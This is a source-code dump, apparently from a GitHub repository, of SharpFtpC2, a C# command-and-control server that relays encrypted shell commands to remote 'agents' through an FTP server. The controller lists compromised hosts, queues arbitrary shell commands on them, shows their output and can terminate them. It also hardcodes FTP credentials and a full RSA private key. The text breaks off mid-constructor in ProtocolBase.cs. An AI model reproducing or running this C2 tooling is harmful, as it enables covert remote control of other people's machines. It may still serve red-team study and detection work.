/// * Delete File 27 | /// * Enumerate Directory Files 28 | /// 29 | public class FtpHelper 30 | { 31 | public string Host; 32 | public string Username; 33 | private string Password; 34 | private bool Secure; 35 | 36 | public FtpHelper(string host, string username, string password, bool secure) 37 | { 38 | this.Host = host; 39 | this.Username = username; 40 | this.Password = password; 41 | this.Secure = secure; 42 | } 43 | 44 | private FtpWebRequest NewRequest(string? uri) 45 | { 46 | #pragma warning disable SYSLIB0014 47 | FtpWebRequest request = (FtpWebRequest)WebRequest.Create($"ftp://{this.Host}/{uri ?? ""}"); 48 | #pragma warning restore SYSLIB0014 49 | 50 | request.Credentials = new NetworkCredential(this.Username, this.Password); 51 | 52 | request.UsePassive = true; 53 | request.UseBinary = true; 54 | request.KeepAlive = true; 55 | request.EnableSsl = this.Secure; 56 | 57 | return request; 58 | } 59 | 60 | public void UploadData(Stream data, string destFilePath) 61 | { 62 | FtpWebRequest request = this.NewRequest(destFilePath); 63 | 64 | request.Method = WebRequestMethods.Ftp.UploadFile; 65 | 66 | using Stream requestStream = request.GetRequestStream(); 67 | 68 | data.CopyTo(requestStream); 69 | } 70 | 71 | public void UploadFile(string localFilePath, string destFilePath) 72 | { 73 | using FileStream fileStream = File.Open(localFilePath, FileMode.Open, FileAccess.Read); 74 | 75 | UploadData(fileStream, destFilePath); 76 | } 77 | 78 | public void UploadString(string content, string destFilePath) 79 | { 80 | byte[] bytes = Encoding.UTF8.GetBytes(content); 81 | 82 | using MemoryStream stream = new(bytes); 83 | 84 | UploadData(stream, destFilePath); 85 | } 86 | 87 | public Stream DownloadData(string remoteFilePath) 88 | { 89 | FtpWebRequest request = this.NewRequest(remoteFilePath); 90 | 91 | request.Method = WebRequestMethods.Ftp.DownloadFile; 92 | 93 | FtpWebResponse response = (FtpWebResponse)request.GetResponse(); 94 | 95 | Stream stream = response.GetResponseStream(); 96 | 97 | return stream; 98 | } 99 | 100 | public void DownloadFile(string remoteFilePath, string destinationFilePath) 101 | { 102 | using Stream stream = DownloadData(remoteFilePath); 103 | 104 | using FileStream fileStream = new(destinationFilePath, FileMode.Create, FileAccess.Write); 105 | 106 | stream.CopyTo(fileStream); 107 | } 108 | 109 | public string DownloadString(string remoteFilePath) 110 | { 111 | using Stream stream = DownloadData(remoteFilePath); 112 | 113 | using StreamReader reader = new(stream); 114 | 115 | return reader.ReadToEnd(); 116 | } 117 | 118 | private void _ExecuteFTPCommand(string remoteDirectoryPath, string command) 119 | { 120 | FtpWebRequest request = this.NewRequest(remoteDirectoryPath); 121 | 122 | request.Method = command; 123 | 124 | using FtpWebResponse resp = (FtpWebResponse)request.GetResponse(); 125 | } 126 | 127 | public void CreateDirectory(string remoteDirectoryPath) 128 | { 129 | _ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory); 130 | } 131 | 132 | public void DeleteFile(string remoteDirectoryPath) 133 | { 134 | _ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile); 135 | } 136 | 137 | public List ListDirectory(string remoteDirectoryPath = "") 138 | { 139 | List items = new(); 140 | try 141 | { 142 | FtpWebRequest request = this.NewRequest(remoteDirectoryPath); 143 | 144 | request.Method = WebRequestMethods.Ftp.ListDirectory; 145 | 146 | using FtpWebResponse response = (FtpWebResponse)request.GetResponse(); 147 | 148 | using StreamReader reader = new(response.GetResponseStream()); 149 | 150 | string? file = ""; 151 | 152 | while (true) 153 | { 154 | file = reader.ReadLine(); 155 | 156 | if (string.IsNullOrEmpty(file)) 157 | break; 158 | 159 | items.Add(file); 160 | } 161 | } 162 | catch 163 | { } 164 | 165 | /// 166 | return items; 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/PlaceHolders.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace Shared 19 | { 20 | public static class PlaceHolders 21 | { 22 | // An "enum" would also do the job. 23 | 24 | public const string AgentInformation = "__agent__"; 25 | public const string TaskRequest = "__taskreq__"; 26 | public const string ResponseRequest = "__respreq__"; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Program.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Project: SharpFtpC2 - C2 (v1.0 Beta) 4 | * 5 | * Description: SharpFtpShell is a compact C# project that showcases the technique 6 | * of tunneling Command and Control (C2) communication via FTP(S). 7 | * 8 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 9 | * Email: jplesueur@phrozen.io 10 | * Website: https://www.phrozen.io 11 | * GitHub: https://github.com/DarkCoderSc 12 | * Twitter: https://twitter.com/DarkCoderSc 13 | * License: Apache-2.0 14 | * ========================================================================================= 15 | */ 16 | 17 | using FtpAgent; 18 | using FtpC2; 19 | using FtpC2.Responses; 20 | using System.Collections.Concurrent; 21 | using Microsoft.Extensions.CommandLineUtils; 22 | using System.Data; 23 | using FtpC2.Tasks; 24 | using System.Text; 25 | using System.Net; 26 | 27 | class Program 28 | { 29 | // EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 30 | public static readonly string FtpHost = "127.0.0.1"; 31 | public static readonly string FtpUser = "dark"; 32 | public static readonly string FtpPwd = "toor"; 33 | public static readonly bool FtpSecure = false; 34 | 35 | // Ensure that this contains the RSA Public / Private Key for C2, which is used to decrypt data received 36 | // from the agent. Utilize the RSAKeyHelper Tool to generate a fresh pair of Private and Public keys. 37 | public static readonly string EncodedPublicKey = "MIICCgKCAgEAwCgvEs3M3Xq9VsIokZcJCiZJBIvnpDsBh+TMHOFKKmkIAS43HtyxOJgCV4tJYyNLtnZXxym2FN4Y0AHuWcuub/4OfwhbmSll1LrcOymNJT8a8uSh2FkxPdYr3/TG18uPEvJ9KJhrPp2qyakCN3/URltcO/tFw7ETmauRKslUCNP1fgq71wE08B2dJfwjWa04x9pem90e5bXVg4JmJtdAoFNI++FFueg+/ohUtg13ZiY+U6Lz2tYcVoHATcMoGfERJeXJaOzOTsDCWxqrjAhQeN+NlFtT4euvH5e3Xb/7EivS4T3fdA0dMAy0iZ4Cf9je8C2GMst0pYwHQcW12LASwrmm90BBz/gFMLsBv/nrptQ1NbkFfdlDPf+kA0Ei3Q6CZoybIr9BOBbEEi59IH+0i3ILJF0YRLcOhaTmC6UKBvItq9YG/68VnFyuqb4cKf7mLN3fhF5RopLWjNGxdkwd5JqGl0dmDEnSjOcWRF46MSd2uVYtICtqVA2WN7IEpnOpbhnmYnwE1Dp/lTy4VW9oBGpnMxbfB2RISdOwFf+h59kDmUlYX1RgButpEmkklOQLOZHYEiLg1Pd5j+OyuTU84zZObcQC1VA8SGq6PStoh5S4dbgPRmEjHG8MBPPHBrr51ozid5T2k8UHOFeBn1QBXuODr0lGVgpyHy6MFtj7Dg0CAwEAAQ=="; 38 | public static readonly string EncodedPrivateKey = "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"; 39 | 40 | // Make sure this includes the RSA Public Key belonging to the remote agent, which is utilized for encrypting 41 | // data that is sent to the agent's destination. 42 | public static readonly string EncodedPeerPublicKey = "MIICCgKCAgEA6+URNSenrF9brgbRwEcxio7/N0D+6ZsL32Kx/j2/GVJPC4q3nwodBZDhsZalzi/CFdk4h0jiDyhTeSmU+Vq8RibQksPI0UbwL3+Mnuhrb13UifGoKMoaIY31vLMEeJ7Onyxnf15XiV4r2LorMHTwlqd1gyMR6dAu5nzshKA8yle06qrPpTP10pw7pR/iznKI/LAyJes/ox5JbO/Z1tmjtMDChx1+FgZB1wbSAlAw7fh04C3KH24vvobd5a1gMLGqBbAu3EWMXhj2Io/8aAq8f1nvau068Dl7tyD6ybD7/pam3XN3O30Grqcp2093ZnQvNbfTTaeLjZ1fs3MFkwzMXxtoKXtivqyLBH96ZI8IEMKG9IDGxPaOfIePJr7AyTinZ1g3Y/IIWor9v+wwAl8QuWf2zOTnBXSzN2jXKUDz29u3ITkhRnZJm0Vkma1Nuo6n7OB5m4lbUTQB4/cMNihUOvDSkPwh+uQF8loNQDLH5zO9oIEpdzoonsMmntOqYQMk2+uPGAF7/p3ZzRDsayhsbuHvnwzVbY8Tp9xedDj85TorehmPJJsTYmDsOahhh57E5Lpcfze32dO83z3slVHp/fYNpfHMLakV/gn0bvJFohCpCvxyUR6zSRVvvrPA0mHUAJPviX5lnenTTg8pwBLiBcGOGvdBromUDqCHlxQgEH0CAwEAAQ=="; 43 | 44 | public static readonly int SynchronizeDelay = 1000; 45 | // EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 46 | 47 | public static CancellationTokenSource CancellationTokenSource = new(); 48 | 49 | private static ConcurrentDictionary Agents = new(); 50 | private static ConcurrentDictionary TaskResponses = new(); 51 | 52 | // ConcurrentBag is not suitable in my scenario so I'm using a classic List with locking mechanisms 53 | private static object TaskRequestsLock = new(); 54 | private static List TaskRequests = new(); 55 | 56 | private static Guid ActiveAgent = Guid.Empty; 57 | 58 | private static void RegisterNewTask(TaskWrapper taskRequest, Guid agentId) 59 | { 60 | taskRequest.Id = Guid.NewGuid(); 61 | taskRequest.TaskType = taskRequest.GetType().Name; 62 | taskRequest.AgentId = agentId; 63 | 64 | lock (TaskRequestsLock) 65 | TaskRequests.Add(taskRequest); 66 | } 67 | 68 | private static void RegisterNewCommandTask(TaskCommand.CommandKind command, Guid agentId) 69 | { 70 | TaskCommand taskCommand = new(); 71 | taskCommand.Command = command; 72 | 73 | /// 74 | RegisterNewTask(taskCommand, agentId); 75 | } 76 | 77 | public static void ShowResult(ResponseWrapper response) 78 | { 79 | switch (response) 80 | { 81 | case ResponseShellCommand responseShellCommand: 82 | { 83 | UX.ColorBackTicks($"Command: `{responseShellCommand.Command}`"); 84 | 85 | if (responseShellCommand.Stdout?.Length > 0) 86 | Console.WriteLine(Encoding.UTF8.GetString(responseShellCommand.Stdout)); 87 | 88 | if (responseShellCommand.Stderr?.Length > 0) 89 | { 90 | Console.ForegroundColor = ConsoleColor.Red; 91 | 92 | Console.WriteLine(Encoding.UTF8.GetString(responseShellCommand.Stderr)); 93 | 94 | Console.ResetColor(); 95 | } 96 | 97 | Console.ForegroundColor = ConsoleColor.Yellow; 98 | Console.WriteLine("EOF"); 99 | Console.ResetColor(); 100 | 101 | break; 102 | } 103 | 104 | default: 105 | { 106 | UX.DisplayWarning($"`{response.GetType().Name}` result is not implemented or necessary."); 107 | 108 | break; 109 | } 110 | } 111 | } 112 | 113 | private static void ControllerPrompt() 114 | { 115 | CommandLineApplication parser = new(); 116 | 117 | parser.Command("help", cmd => 118 | { 119 | cmd.HelpOption("-?|-h|--help"); 120 | cmd.Description = "Show available commands."; 121 | 122 | cmd.OnExecute(() => 123 | { 124 | Console.WriteLine(parser.GetHelpText()); 125 | 126 | return 0; 127 | }); 128 | }); 129 | 130 | parser.Command("clear", cmd => 131 | { 132 | cmd.HelpOption("-?|-h|--help"); 133 | cmd.Description = "Clear console."; 134 | 135 | cmd.OnExecute(() => 136 | { 137 | Console.Clear(); 138 | 139 | return 0; 140 | }); 141 | }); 142 | 143 | parser.Command("exit", cmd => 144 | { 145 | cmd.HelpOption("-?|-h|--help"); 146 | cmd.Description = "Exit controller (Donnie Darko)."; 147 | 148 | cmd.OnExecute(() => 149 | { 150 | throw new ExitProgramExceptions(); 151 | 152 | return 0; 153 | }); 154 | }); 155 | 156 | parser.Command("agents", cmd => 157 | { 158 | cmd.HelpOption("-?|-h|--help"); 159 | cmd.Description = "Show active agents."; 160 | 161 | cmd.OnExecute(() => 162 | { 163 | if (Agents.Count == 0) 164 | { 165 | UX.DisplayInfo("No agent so far."); 166 | 167 | return 0; 168 | } 169 | 170 | DataTable table = new(); 171 | 172 | table.Columns.Add("Id"); 173 | table.Columns.Add("User@Computer"); 174 | table.Columns.Add("Domain"); 175 | table.Columns.Add("Process Id"); 176 | table.Columns.Add("Is64Bit"); 177 | 178 | table.Columns.Add("Last Seen"); 179 | 180 | List> agentPairs = Agents.ToList(); 181 | 182 | agentPairs.Sort((pair2, pair1) => pair1.Value.DateTime.CompareTo(pair2.Value.DateTime)); 183 | 184 | foreach (KeyValuePair agentPair in agentPairs) 185 | { 186 | Agent agent = agentPair.Value; 187 | /// 188 | 189 | DataRow row = table.NewRow(); 190 | 191 | row[0] = agentPair.Key; 192 | row[1] = agentPair.Value.DisplayName(); 193 | row[2] = agent.Domain; 194 | row[3] = agent.ProcessId; 195 | row[4] = agent.Is64BitProcess.ToString(); 196 | row[5] = (int)(DateTime.Now - agent.DateTime).TotalSeconds; 197 | 198 | table.Rows.Add(row); 199 | } 200 | 201 | UX.DisplayTableToConsole(table); 202 | 203 | /// 204 | return 0; 205 | }); 206 | }); 207 | 208 | parser.Command("use", cmd => 209 | { 210 | cmd.HelpOption("-?|-h|--help"); 211 | cmd.Description = "Interact with a registered agent."; 212 | 213 | var arg = cmd.Argument("id", "Agent Id"); 214 | 215 | cmd.OnExecute(() => 216 | { 217 | if (Guid.TryParse(arg.Value, out Guid agentId)) 218 | { 219 | if (Agents.ContainsKey(agentId)) 220 | ActiveAgent = agentId; 221 | else 222 | throw new IndexOutOfRangeException($"Agent Id(`{agentId}`) not found."); 223 | } 224 | else 225 | throw new FormatException($"'{arg.Value}' is not a valid GUID."); 226 | 227 | /// 228 | return 0; 229 | }); 230 | }); 231 | 232 | UX.DisplayControllerPrompt(); 233 | 234 | string? action = Console.ReadLine(); 235 | 236 | Console.WriteLine(); 237 | 238 | if (string.IsNullOrEmpty(action)) 239 | return; 240 | 241 | parser.Execute(action.Split(" ")); 242 | 243 | Console.WriteLine(); 244 | } 245 | 246 | private static void AgentPrompt() 247 | { 248 | if (ActiveAgent == Guid.Empty) 249 | return; 250 | 251 | if (!Agents.TryGetValue(ActiveAgent, out Agent? agent)) 252 | { 253 | ActiveAgent = Guid.Empty; 254 | return; 255 | } 256 | 257 | CommandLineApplication parser = new(); 258 | 259 | parser.Command("help", cmd => 260 | { 261 | cmd.HelpOption("-?|-h|--help"); 262 | cmd.Description = "Show available commands."; 263 | 264 | cmd.OnExecute(() => 265 | { 266 | Console.WriteLine(parser.GetHelpText()); 267 | 268 | return 0; 269 | }); 270 | }); 271 | 272 | parser.Command("wait", cmd => 273 | { 274 | cmd.HelpOption("-?|-h|--help"); 275 | 276 | var argument = cmd.Option("-s|--seconds", "Seconds to wait", CommandOptionType.SingleValue); 277 | 278 | cmd.Description = "Makes main thread hanging for a defined amount of seconds (default: 1)."; 279 | 280 | cmd.OnExecute(() => 281 | { 282 | int seconds = 1; 283 | if (argument.HasValue()) 284 | { 285 | Utilities.CheckIntegerArgument(argument); 286 | 287 | int.TryParse(argument.Value(), out seconds); 288 | } 289 | 290 | Thread.Sleep(seconds * 1000); 291 | 292 | /// 293 | return 0; 294 | }); 295 | }); 296 | 297 | parser.Command("clear", cmd => 298 | { 299 | cmd.HelpOption("-?|-h|--help"); 300 | cmd.Description = "Clear console."; 301 | 302 | cmd.OnExecute(() => 303 | { 304 | Console.Clear(); 305 | 306 | return 0; 307 | }); 308 | }); 309 | 310 | parser.Command("exit", cmd => 311 | { 312 | cmd.HelpOption("-?|-h|--help"); 313 | cmd.Description = "Exit current agent context."; 314 | 315 | cmd.OnExecute(() => 316 | { 317 | ActiveAgent = Guid.Empty; 318 | 319 | return 0; 320 | }); 321 | }); 322 | 323 | parser.Command("results", cmd => 324 | { 325 | cmd.HelpOption("-?|-h|--help"); 326 | cmd.Description = "Display remote agent tasks responses."; 327 | 328 | cmd.OnExecute(() => 329 | { 330 | List responses = new(); 331 | foreach(KeyValuePair entry in TaskResponses) 332 | { 333 | if (entry.Value.AgentId == ActiveAgent) 334 | responses.Add(entry.Key); 335 | } 336 | 337 | if (responses.Count == 0) 338 | { 339 | UX.DisplayInfo("No result so far."); 340 | 341 | return 0; 342 | } 343 | 344 | DataTable table = new(); 345 | 346 | table.Columns.Add("#"); 347 | table.Columns.Add("Kind"); 348 | table.Columns.Add("Display Name"); 349 | table.Columns.Add("When"); 350 | 351 | foreach (KeyValuePair entry in 352 | TaskResponses.Where(x => responses.Contains(x.Key)).OrderBy(x => x.Value.DateTime) 353 | ) 354 | { 355 | DataRow row = table.NewRow(); 356 | 357 | row[0] = entry.Key; 358 | row[1] = entry.Value.GetType().Name; 359 | row[2] = entry.Value.DisplayName(); 360 | row[3] = Utilities.TimeSince(entry.Value.DateTime); 361 | 362 | table.Rows.Add(row); 363 | } 364 | 365 | UX.DisplayTableToConsole(table); 366 | 367 | return 0; 368 | }); 369 | 370 | parser.Command("results::show", cmd => 371 | { 372 | cmd.HelpOption("-?|-h|--help"); 373 | cmd.Description = "Display a task response content by its id."; 374 | 375 | var arg = cmd.Argument("id", "Task response identifier"); 376 | 377 | cmd.OnExecute(() => 378 | { 379 | if (Guid.TryParse(arg.Value, out Guid responseId)) 380 | { 381 | if (TaskResponses.TryGetValue(responseId, out ResponseWrapper? value)) 382 | ShowResult(value); 383 | else 384 | throw new IndexOutOfRangeException($"Response Id(`{responseId}`) not found."); 385 | } 386 | else 387 | throw new FormatException($"'{arg.Value}' is not a valid GUID."); 388 | 389 | /// 390 | return 0; 391 | }); 392 | }); 393 | 394 | parser.Command("exec", cmd => 395 | { 396 | cmd.HelpOption("-?|-h|--help"); 397 | cmd.Description = "Run a shell command."; 398 | 399 | var args = cmd.Argument("command", "Shell command", true); 400 | 401 | cmd.OnExecute(() => 402 | { 403 | if (args.Values.Count == 0) 404 | return 1; 405 | 406 | TaskShellCommand task = new(); 407 | task.Command = string.Join(" ", args.Values); 408 | 409 | RegisterNewTask(task, ActiveAgent); 410 | 411 | return 0; 412 | }); 413 | }); 414 | 415 | parser.Command("kill", cmd => 416 | { 417 | cmd.HelpOption("-?|-h|--help"); 418 | cmd.Description = "Terminate remote agent process."; 419 | 420 | cmd.OnExecute(() => 421 | { 422 | RegisterNewCommandTask(TaskCommand.CommandKind.TerminateAgent, ActiveAgent); 423 | 424 | return 0; 425 | }); 426 | }); 427 | }); 428 | 429 | UX.DisplayAgentPrompt(agent); 430 | 431 | string? actions = Console.ReadLine(); 432 | 433 | Console.WriteLine(); 434 | 435 | if (string.IsNullOrEmpty(actions)) 436 | return; 437 | 438 | foreach (string action in Utilities.SplitEx(actions)) 439 | parser.Execute(action.Split(" ")); 440 | 441 | Console.WriteLine(); 442 | } 443 | 444 | public static void OnProcessExit(object? sender, EventArgs e) 445 | { 446 | /// 447 | } 448 | 449 | public static void Main(string[] args) 450 | { 451 | // Important Notice: The delegate below renders the current application susceptible to 452 | // Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features. 453 | // This configuration was implemented to accommodate self-signed certificates. 454 | // However, it is strongly advised not to employ this approach in a production environment 455 | // if SSL/TLS security is expected. 456 | if (FtpSecure) 457 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 458 | /// 459 | 460 | AppDomain.CurrentDomain.ProcessExit += OnProcessExit; 461 | 462 | UX.DisplayBanner(); 463 | /// 464 | 465 | List daemons = new(); 466 | 467 | // This thread is tasked with periodically gathering information about active and inactive agents. 468 | daemons.Add(new Thread((object? obj) => 469 | { 470 | if (obj == null) 471 | return; 472 | 473 | C2Protocol c2Protocol = new(FtpHost, FtpUser, FtpPwd, FtpSecure); 474 | 475 | c2Protocol.SetupSelfEncryptionHelper(EncodedPublicKey, EncodedPrivateKey); 476 | c2Protocol.SetupPeerEncryptionHelper(EncodedPeerPublicKey); 477 | 478 | CancellationToken cancellationToken = (CancellationToken)obj; 479 | while (!cancellationToken.IsCancellationRequested) 480 | { 481 | try 482 | { 483 | // Refresh Agents Informations 484 | c2Protocol.RefreshAgents(Agents); 485 | 486 | 487 | /// 488 | Thread.Sleep(SynchronizeDelay); 489 | } 490 | catch (Exception ex) 491 | { 492 | UX.DisplayError($"@DaemonProbeThread: {ex.Message}"); 493 | }; 494 | } 495 | })); 496 | 497 | 498 | daemons.Add(new Thread((object? obj) => 499 | { 500 | if (obj == null) 501 | return; 502 | 503 | C2Protocol c2Protocol = new(FtpHost, FtpUser, FtpPwd, FtpSecure); 504 | 505 | c2Protocol.SetupSelfEncryptionHelper(EncodedPublicKey, EncodedPrivateKey); 506 | c2Protocol.SetupPeerEncryptionHelper(EncodedPeerPublicKey); 507 | 508 | CancellationToken cancellationToken = (CancellationToken)obj; 509 | while (!cancellationToken.IsCancellationRequested) 510 | { 511 | try 512 | { 513 | // Synchronize Task Responses 514 | c2Protocol.EnumerateResponses(TaskResponses); 515 | 516 | // Register New Task Requests 517 | lock (TaskRequestsLock) 518 | { 519 | foreach (TaskWrapper taskRequest in TaskRequests) 520 | { 521 | c2Protocol.RegisterNewTask(taskRequest); 522 | } 523 | TaskRequests.Clear(); 524 | } 525 | 526 | /// 527 | Thread.Sleep(SynchronizeDelay); 528 | } 529 | catch (Exception ex) 530 | { 531 | UX.DisplayError($"@DaemonSynchronizeThread: {ex.Message}"); 532 | }; 533 | } 534 | })); 535 | 536 | // The action to handle a CTRL+C signal on the console has been registered. 537 | // When triggered, it will instruct any associated cancellation tokens to properly 538 | // shut down their associated daemons. 539 | Console.CancelKeyPress += (sender, cancelEventArgs) => 540 | { 541 | CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed. 542 | 543 | cancelEventArgs.Cancel = true; // Cancel default behaviour 544 | }; 545 | 546 | // Start daemons 547 | foreach (Thread daemon in daemons) 548 | daemon.Start(CancellationTokenSource.Token); 549 | 550 | CancellationToken token = CancellationTokenSource.Token; 551 | while (!token.IsCancellationRequested) 552 | { 553 | try 554 | { 555 | if (ActiveAgent == Guid.Empty) 556 | ControllerPrompt(); 557 | else 558 | AgentPrompt(); 559 | 560 | // Dirty method to force messages to process during an IDLE time. 561 | Thread.Sleep(50); 562 | 563 | } 564 | catch (ExitProgramExceptions) 565 | { 566 | CancellationTokenSource.Cancel(); 567 | 568 | break; 569 | } 570 | catch (Exception e) 571 | { 572 | UX.DisplayError(e.Message); 573 | 574 | Console.WriteLine(); 575 | } 576 | } 577 | 578 | // Wait for daemons to join main thread 579 | foreach (Thread daemon in daemons) 580 | daemon.Join(); 581 | } 582 | } -------------------------------------------------------------------------------- /FtpC2/FtpC2/ProtocolBase.cs: -------------------------------------------------------------------------------- 1 | using FtpC2; 2 | using FtpC2.Responses; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.ComponentModel; 6 | using System.Linq; 7 | using System.Net; 8 | using System.Security.Cryptography; 9 | using System.Text; 10 | using System.Text.Json; 11 | using System.Threading.Tasks; 12 | 13 | internal class ProtocolBase : IDisposable 14 | { 15 | protected class PackedFileName 16 | { 17 | public string? Name { get; set; } 18 | public string? Version { get; set; } 19 | public Guid? Session { get; set; } 20 | public Guid? Uid { get; set; } 21 | public Guid? Signature { get; set; } 22 | } 23 | 24 | // If the protocol has evolved and is no longer backward compatible with previous versions, 25 | // please consider updating the following variable to the new protocol version. If the agent's 26 | // protocol and the Command and Control (C2) protocol don't align, the agent will be disregarded. 27 | private const string ProtocolVersion = "3.0.F"; 28 | 29 | private bool _disposed = false; 30 | private readonly FtpHelper FTP; 31 | 32 | public delegate string DataModifierDelegate(string data); 33 | 34 | public DataModifierDelegate? IngressDataModifier; 35 | public DataModifierDelegate? EgressDataModifier; 36 | 37 | public Guid? Session { set; get; } 38 | 39 | protected AsymEncryptionHelper? SelfEncryptionHelper; 40 | protected AsymEncryptionHelper? PeerEncryptionHelper; 41 | 42 | public ProtocolBase(string 